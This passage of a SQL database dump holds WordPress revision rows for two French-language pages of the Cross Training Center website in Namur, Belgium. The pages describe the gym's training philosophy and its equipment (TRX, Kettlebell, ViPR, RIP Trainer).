0),
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(42, 1, '2013-06-13 16:26:32', '2013-06-13 16:26:32', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;PREVENIR&lt;/b&gt; – &lt;b&gt;AMELIORER&lt;/b&gt; – &lt;b&gt;RECUPERER&lt;/b&gt;.&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-13 16:26:32', '2013-06-13 16:26:32', '', 5, 'http://www.crosstrainingcenter.be/?p=42', 0, 'revision', '', 0);
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(53, 1, '2013-06-16 10:24:38', '2013-06-16 10:24:38', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:24:38', '2013-06-16 10:24:38', '', 5, 'http://www.crosstrainingcenter.be/?p=53', 0, 'revision', '', 0),
(44, 1, '2013-06-16 08:20:16', '2013-06-16 08:20:16', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-41\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 08:20:16', '2013-06-16 08:20:16', '', 5, 'http://www.crosstrainingcenter.be/?p=44', 0, 'revision', '', 0),
(46, 1, '2013-06-16 10:02:09', '2013-06-16 10:02:09', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-43\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:02:09', '2013-06-16 10:02:09', '', 5, 'http://www.crosstrainingcenter.be/?p=46', 0, 'revision', '', 0),
(48, 1, '2013-06-16 10:05:33', '2013-06-16 10:05:33', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:05:33', '2013-06-16 10:05:33', '', 5, 'http://www.crosstrainingcenter.be/?p=48', 0, 'revision', '', 0),
(50, 1, '2013-06-16 10:09:07', '2013-06-16 10:09:07', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:09:07', '2013-06-16 10:09:07', '', 5, 'http://www.crosstrainingcenter.be/?p=50', 0, 'revision', '', 0),
(51, 1, '2013-06-16 10:14:10', '2013-06-16 10:14:10', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:14:10', '2013-06-16 10:14:10', '', 5, 'http://www.crosstrainingcenter.be/?p=51', 0, 'revision', '', 0),
(54, 1, '2013-06-16 08:04:06', '2013-06-16 08:04:06', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 08:04:06', '2013-06-16 08:04:06', '', 22, 'http://www.crosstrainingcenter.be/?p=54', 0, 'revision', '', 0),
(55, 1, '2013-06-16 10:42:17', '2013-06-16 10:42:17', '&lt;blockquote&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:42:17', '2013-06-16 10:42:17', '', 22, 'http://www.crosstrainingcenter.be/?p=55', 0, 'revision', '', 0),
(56, 1, '2013-06-16 10:43:00', '2013-06-16 10:43:00', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:43:00', '2013-06-16 10:43:00', '', 22, 'http://www.crosstrainingcenter.be/?p=56', 0, 'revision', '', 0),
(57, 1, '2013-06-16 10:44:43', '2013-06-16 10:44:43', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:44:43', '2013-06-16 10:44:43', '', 22, 'http://www.crosstrainingcenter.be/?p=57', 0, 'revision', '', 0),
(58, 1, '2013-06-16 10:45:34', '2013-06-16 10:45:34', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;table style=\&quot;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;1\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;2\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;3\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;4\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;                 \r\n\r\n\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:45:34', '2013-06-16 10:45:34', '', 22, 'http://www.crosstrainingcenter.be/?p=58', 0, 'revision', '', 0),
